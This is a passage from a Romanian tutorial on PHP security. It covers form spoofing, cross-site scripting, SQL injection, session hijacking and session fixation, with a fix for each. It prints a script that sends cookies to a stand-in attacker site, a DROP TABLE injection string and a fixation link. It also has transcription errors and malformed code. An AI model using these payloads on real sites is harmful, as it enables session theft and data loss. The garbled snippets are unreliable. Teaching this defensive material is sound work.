TIPURI DE ATACURI IN PHP
Atunci cand programatorul nu tine cont de aspectele discutate pana acum in acest material, el creeaza vulnerabilitati in codul sau, care pot fi apoi exploatate de catre crackeri. Vor fi prezentate in continuare cateva dintre cele mai des intalnite tipuri de atacuri impotriva unui site, impreuna cu solutii pentru prevenirea lor.
1.Falsificarea formularelor
Precum s-a spus si anterior, programatorul nu poate sti din ce sursa provin datele de intrare ale scriptului. Sa presupunem ca scriem un script PHP numit detalii.php care afiseaza un formular HTML ce solicita utilizatorului numele (introdus manual) si sexul (sub forma unui drop-down list). Acelasi script realizeaza si prelucrarea datelor:
$form = <<<FORM
<form method=post action=$_SERVER[PHP_SELF]>
<input>
<select>
<option value=M>Masculin</option>
<option value=F>Feminin</option> </select>
<input value=submit> </form>
FORM;
if(!empty($_POST[‘submit,])){ Snume = $_POST[‘nume’];
$sex = $_POST[‘sex’]; // valori posibile: M sau F
}
Faptul ca scriptul trimite formularul catre browser si ca tot el receptioneaza si prelucreaza datele nu trebuie sa ne faca sa credem ca datele de intrare ale acestui script provin neaparat de la formularul pe care el il afiseaza! Un utilizator poate scrie oricand un fisier HTML ca urmatorul:
<form method=post action=”http://www.example.com/detalii.php„>
<input nume=sex>
<input value=trimite>
In acest formular, utilizatorul ar putea introduce orice string pentru sexul persoanei, iar numele acesteia lipseste cu desavarsire. La expedierea datelor, tot scriptul detalii.php va fi cel care le primeste (ca si in cazul formularului „oficial”), insa ele nu sunt complete, iar campul sex nu mai are neaparat una dintre cele doua valori posibile.
Inventariind, scriptul detalii.php are cateva probleme:
– se bazeaza pe faptul ca, daca el e cel care afiseaza formularul, datele de intrare vor proveni din acel formular. S-a demonstrat mai sus ca nu este adevarat
– presupune ca poate impune un set discret de valori pentru o valoare de intrare, afisand in formular un drop-down list cu valorile posibile. S-a demonstrat de asemenea ca, atata timp cat input-ul poate proveni dintr-un alt formular, complet diferit, programatorul nu mai poate sti ce fel de componenta a fost folosita pentru editarea valorii (in fond, tot ce receptioneaza scriptul este o pereche nume-valoare)
– presupune ca, daca in $_POST se gaseste elementul corespunzator butonului de submit, atunci in S_POST sunt de asemenea prezente toate datele necesare. S-a aratat mai sus faptul ca datele din input pot fi prezente in orice combinatie, fara nici o legatura cu felul in care a fost gandit formularul „oficial” (cel afisat de catre detalii.php)
Solutie
Avand in vedere ca sursa datelor nu este sub controlul programatorului, acesta poate lua doua seturi de masuri: – sa incerce sa se asigure ca datele provin chiar din formularul afisat de catre scriptul sau, si nu din altul. Solutia este doar partiala, pentru ca destule browsere din ziua de astazi au facilitati ce permit editarea datelor din POST inainte de expedierea unui formular, iar in aceste conditii input-ul ar putea fi invalid chiar daca provine din formularul corect – sa verifice prezenta tuturor datelor necesare in input si sa le valideze inainte de a lucra cu ele – este solutia cea mai sigura, si care trebuie oricum aplicata datelor de intrare indiferent de scenariu
Atentie! O falsa solutie este incercarea de validare a datelor folosind un limbaj de scripting ce ruleaza pe client (ex: Javascript). Sa nu uitam insa ca 1) orice ruleaza pe client nu este de incredere si 2) chiar daca arfi, limbajele de scripting potfi dezactivate din browser, anuland tot beneficiul validarii client-side dintr-un simplu click. Astfel de metode pot fi folosite doar ca mecanisme aditionale de validare, dar programatorul nu trebuie sa se bazeze exclusiv pe ele.
2.Cross-site scripting (XSS)
Atacurile de tip cross-site scripting sunt posibile atunci cand o aplicatie (in cazul nostra, un script PHP) permite injectarea de cod in paginile web generate de catre aceasta. De obicei acest tip de atacuri functioneaza in conjunctie cu limbaje de scripting ce ruleaza pe client (ex: Javascript). Un astfel de atac a fost prezentat in cadrul acestui material, in sectiunea 14.4.2.1: o aplicatie PHP memoreaza sugestiile utilizatorilor intr-o baza de date, afisand ultima sugestie introdusa. Daca programatorul preia ca atare input-ul utilizatorului si il afiseaza inapoi in browser, el deschide calea unui atac de tip XSS, deoarece un atacator poate introduce cod HTML si Javascript care apoi va fi interpretat ca atare de browserele altor utilizatori care vizualizeaza pagina in cauza. Sa ne imaginam ce se va intampla daca atacatorul introduce ca „sugestie” urmatorul string:
<script language= „javascript”>
document. location=‘http://www.site-atacator.com? thecookie= ‘+document.cookie;
</script>
Orice utilizator care vizualizeaza apoi „sugestia” introdusa va fi redirectionat catre site-ul atacatorului, insa continutul eventualului cookie trimis catre site-ul original va fi inclus in query string, putand fi apoi usor extras de catre atacator (ex: $_GET[‘thecookie’]).
Solutie
Problema in acest caz este afisarea neeontrolata in browser a input-ului de la un utilizator rauvoitor. Precum s-a discutat in cadrul acestui material, orice caracter sau constractie cu regim special pentru browser trebuie reprezentat(a) folosind entitatile HTML corespunzatoare, iar acest lucra poate fi facut in PHP folosind functiile htmlspecialchars()/htmlentities(). In acest fel, la afisarea codului de mai sus in browser, el se va vedea exact asa cum apare in exemplu, fara a fi interpretat ca cod HTML/Javascript.
3.SQL injection
Atacurile de tip SQL injection presupun injectarea de cod SQL rauvoitor in interogarile efectuate de un site catre baza de date cu care lucreaza, in scopul distrugerii sau furtului de date sau al accesului neautorizat la informatie. Acest lucra este posibil cand interogarile sunt generate folosind informatii provenite de la utilizator.
Sa consideram exemplul unui script PHP ce primeste username-ul si parola introduse de utilizatori si efectueaza o interogare in baza de date pentru a determina parola corespunzatoare username-ului primit:
$sql = „select * FROM useri where username=’$_POST[‘user’]}’ „;
Un atacator ar putea introduce urmatoarea secventa pe post de username: ‘; DROP TABLE useri–. $sql devine acum:
SELECT * from useri where username ‘ ‘; drop table useri; –‘
Atacatorul a reusit astfel sa genereze mai multe comenzi SQL, una dintre ele fiind distructiva. Apostroful de incheiere al valorii username-ului este anulat de delimitatorul de comentariu (– in SQL).
Solutii
Problema in scenariul de mai sus este ca input-ul provenit de la utilizator nu trece printr-o procedura de escaping inainte de a fi trimis catre baza de date. Se disting urmatoarele solutii/recomandari:
- orice string trimis catre baza de date trebuie filtrat prin mysqli_real_escape_string() sau echivalentul acestei functii pentru extensia de baze de date folosita
- un script trebuie sa aiba privilegiile minime necesare asupra bazei de date. In exemplul de mai sus, scriptul nu ar trebui sa aiba permisiunea de DROP pe tabelele bazei de date
4.Session hijacking
Sistemul de sesiuni PHP poate fi inselat; depinde de cat de bine este folosit de catre programator. Spre exemplu, din punct de vedere al sistemului de sesiuni, un utilizator este identificat printr-un numar – session ID-ul, stocat in session cookie sau in URL. Daca un utilizator neautorizat intra in posesia session ID-ului altui user, si creeaza un cookie/URL continand acest session ID, un script PHP nu ar fi constient de faptul ca interactioneaza acum cu un alt utilizator.
Un atacator ar putea ajunge in posesia session id-ului unui utilizator in diferite moduri, unul dintre cele mai intalnite fiind XSS: fie accesand continutul cookie-ului trimis de utilizatorul valid catre server (daca session ID-ul este pastrat in session cookie), fie injectand un link extern caruia i se va adauga session id-ul automat (daca PHP este configurat sa faca acest lucru).
Un alt mod de a intra in posesia diverselor session id-uri ale clientilor este pe un server de shared hosting (care gazduieste mai multe site-uri pe aceeasi statie). Mecanismul default de serializare a datelor de sesiune le salveaza sub forma de fisiere in /tmp, toate procesele serverului web avand acces la aceasta informatie.
Odata ce un atacator reuseste sa „fure” sesiunea unui utilizator in acest fel, el se prezinta practic serverului ca fiind acel utilizator si, daca utilizatorul in cauza era autentificat, va avea acces la datele private ale victimei.
Solutii
Problema in scenariul de mai sus este ca un utilizator este identificat printr-un simplu numar care, odata intrat in posesia atacatorului, ii permite acestuia din urma sa preia identitatea victimei. Posibile remedii sunt:
- efectuarea unor verificari suplimentare, in afara simplului session ID. Una dintre practicile des intalnite este memorarea continutului headerului HTTP User-Agent in datele de sesiune. User-Agent specifica browserul folosit de client, si care se presupune ca ramane constant de-a lungul unei sesiuni. La fiecare cerere efectuata de catre client, se verifica daca User-Agent-ul memorat in sesiune corespunde cu cel primit prin HTTP la cererea curenta
- folosirea unui alt mecanism de salvare a datelor de sesiune pentru scenariile de tip shared hosting. O varianta des folosita este salvarea sesiunilor intr-o baza de date
6.Session fixation
Atacurile de tip session fixation au ca scop fortarea unui anumit session id pentru sesiunea unui utilizator. Daca atacatorul prestabikste session id-ul, il poate folosi mai apoi pentru a fura identitatea victimei si a accesa datele sale private dupa ce aceasta se autentifica.
Sa ne reamintim ca functia session-start() initiaza o sesiune sau restaureaza una veche, dupa caz. Id-ul sesiunii este fie general pe loc, fie este folosit cel prezent in GET, POST sau COOKIE. Numele default al session cookie-ului este PHPSESSID. Un atacator ar putea trimite victimei (pe messenger, prin XSS etc) un link catre site-ul pe care doreste sa castige acces, insa link-ul va contine session id-ul:
http://vww.example. com/index.php ?PHPSESSID=7qw8ynfyutfqt
Cand victima da click pe acest link, site-ul destinatie va porni o sesiune, insa cu session id-ul deja specificat in query string. Dupa ce victima se autentifica, atacatorul poate folosi session id-ul pentru a fura sesiunea victimei.
Solutii
Acest atac functioneaza atunci cand session id-ul poate fi prestabilit de catre atacator, ramanand acelasi dupa autentificarea victimei. Solutia este ca, intotdeauna cand privilegiile unui utilizator se schimba (cum este cazul autentiflcarii in scopul accesarii unei portiuni protejate dintr-un site), session id-ul sa fie regenerat. Aceasta operatie se realizeaza folosind functia session_regenerate_id():
session_start();
if( auth($user, $pass) === true){ session_regenerate_id();
}